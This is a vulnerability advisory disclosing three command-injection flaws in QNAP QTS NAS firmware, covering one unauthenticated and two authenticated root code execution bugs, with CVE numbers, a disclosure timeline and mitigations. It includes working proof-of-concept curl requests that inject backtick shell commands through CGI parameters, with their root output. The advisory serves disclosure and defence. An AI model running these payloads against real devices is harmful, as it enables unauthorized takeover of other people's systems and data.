QNAP TVS-663 QTS < 4.2.4 build 20170313 - Command Injection
QNAP QTS multiple RCE vulnerabilities ===================================== The latest version of this advisory is available at: https://sintonen.fi/advisories/qnap-qts-multiple-rce-vulnerabilities.txt Overview -------- QNAP QTS firmware contains multiple Command Injection (CWE-77) vulnerabilities that can be exploited to gain remote command execution on the devices. Description ----------- QNAP QTS web user interface CGI binaries include Command Injection (CWE-77) vulnerabilities. An unauthenticated attacker can execute arbitrary commands on the targeted device. Impact ------ The attacker is able to execute arbitrary commands as administrative user (root). The attacker has full access to all content on the targeted device, and can read, modify or remove content at will. Details ------- The discovered vulnerabilities, described in more detail below, enable multiple independent attacks described here in brief: - Unauthenticated Remote Command Execution The unauthenticated attacker can perform HTTP requests that exploit the vulnerability to execute arbitrary commands. If the device is connected to the internet, the vulnerable devices can be taken over in an automated fashion and can then be used for further attacks. - Authenticated Remote Command Execution The authenticated attacker can perform HTTP requests that exploit the vulnerabilities to execute arbitrary commands. This gives users that normally have only restricted access to the device full administrative (root) access to the system and access to all data stored on the device regardless of the specified access limitations. Vulnerabilities --------------- 1. [CVE-2017-6361] Command Injection in authLogin.cgi `reboot_notice_msg' (CWE-77) /cgi-bin/authLogin.cgi CGI has a command injection bug. The following commands are executed via system(): /sbin/vjbod_util -i '%s' 1>>/dev/null 2>&1 /sbin/vdd_control "%s" %d 2>>/dev/null 2>>/dev/null The value inserted to %s is obtained from the `reboot_notice_msg' HTTP request GET parameter. The reboot_notice_msg is a base64 encoded message of form: QNAPVJBDTTTTTTTTCCCCCCCCCCCCCCCCLLLLPAYLOAD - TTTTTTTT is the unix time stamp (last 8 digits) - CCCCCCCCCCCCCCCC is the command to perform (Disconnect) - LLLL is the payload length - PAYLOAD is the payload contents (LLLL bytes) By creating a crafted reboot_notice_msg value, arbitrary commands can be executed. For example: QNAPVJBD88150863 Disconnect 14`(echo;id)>&2` $ curl -ki "https://TARGET/cgi-bin/authLogin.cgi?reboot_notice_msg=$(printf 'QNAPVJBD%08d%16s 14`(echo;id)>&2`' $(expr $(date +%s) % 100000000) Disconnect|base64|tr -d '\r\n')" uid=0(admin) gid=0(administrators) groups=0(administrators),100(everyone) Content-type: text/xml <?xml version="1.0" encoding="UTF-8" ?> <QDocRoot version="1.0"> <command>Disconnect</command> <payload>`(echo;id)>&2`</payload> </QDocRoot> $ 2. [CVE-2017-6360] Command Injection in userConfig.cgi cloudPersonalSmtp `hash' (CWE-77) /cgi-bin/userConfig.cgi CGI has a command injection bug. The following command is executed via popen(): /sbin/cloud_util -r %s 2>/dev/null The value inserted to %s is obtained from the `hash' HTTP request GET parameter. An authenticated user can use a specially crafted hash parameter to execute arbitrary commands as root: $ curl -ki 'https://TARGET/cgi-bin/userConfig.cgi?func=cloudPersonalSmtp&sid=SIDVALUE&hash=`(echo;id;uname%20-a)>%262`' HTTP/1.1 200 OK Date: Sun, 26 Feb 2017 22:55:48 GMT Transfer-Encoding: chunked Content-Type: text/plain uid=0(admin) gid=0(administrators) groups=0(administrators),100(everyone) Linux TARGET 3.12.6 #1 SMP Mon Feb 13 01:43:01 CST 2017 x86_64 unknown Content-type: text/html; charset="UTF-8" Usage: /sbin/cloud_util -r [enc_token] $ 3. [CVE-2017-6359] Command Injection in utilRequest.cgi cancel_trash_recovery `pid' (CWE-77) /cgi-bin/filemanager/utilRequest.cgi CGI has a command injection bug. The following commands are executed via system(): /bin/kill -9 %s The value inserted to %s is obtained from the `pid' HTTP request GET parameter. An authenticated user can use a specially crafted pid parameter to execute arbitrary commands as root: $ curl -k 'https://TARGET/cgi-bin/filemanager/utilRequest.cgi?func=cancel_trash_recovery&sid=SIDVALUE&pid=`id>/tmp/pwned`' { "version": "4.2.1", "build": "20170213", "status": 0, "success": "true" } [~] # cat /tmp/pwned uid=0(admin) gid=0(administrators) groups=0(administrators),100(everyone) [~] # Vulnerable devices ------------------ The vulnerabilities were discovered from an QNAP TVS-663, firmware version 4.2.2 Build 20161214. They're also confirmed to work with version 4.2.3 Build 20170213. CVE-2017-6361 was also confirmed on QNAP HS-251+ running QTS 4.2.2 Build 20161028. It is believed that these vulnerabilities affect all devices running QTS. Recommendations to vendor ------------------------- 1. Fix the command injection vulnerabilities by performing proper input validation (whitelisting) and/or shell metacharacter escaping, or by utilizing execl family of functions. End user mitigation ------------------- - Install the firmware update version 4.2.4 build 20170313 or later. OR - Restrict access to the web user interface (ports 8080 and 443). Credits ------- The vulnerabilities were discovered by Harry Sintonen / F-Secure Corporation. Timeline -------- 21.01.2017 discovered vulnerabilities 2 and 3 23.02.2017 discovered vulnerability 1 23.02.2017 reported vulnerability 1 to the vendor 26.02.2017 started to write a preliminary advisory 27.02.2017 sent the preliminary advisory to vendor and CERT-FI 27.02.2017 requested CVE-IDs from MITRE 28.02.2017 received CVE-IDs from MITRE 02.03.2017 inquired status from vendor contact 02.03.2017 vendor confirmed CVE-2017-6361 04.03.2017 vendor confirmed the other two vulnerabilities 13.03.2017 vendor communicated about a upcoming release fixing the vulns 14.03.2017 vendor released QTS 4.2.4 build 20170313 fixing the vulns 15.03.2017 sent update to CERT-FI 21.03.2017 vendor released NAS-201703-21 advisory: https://www.qnap.com/en/support/con_show.php?cid=113 06.04.2017 public release of the advisory |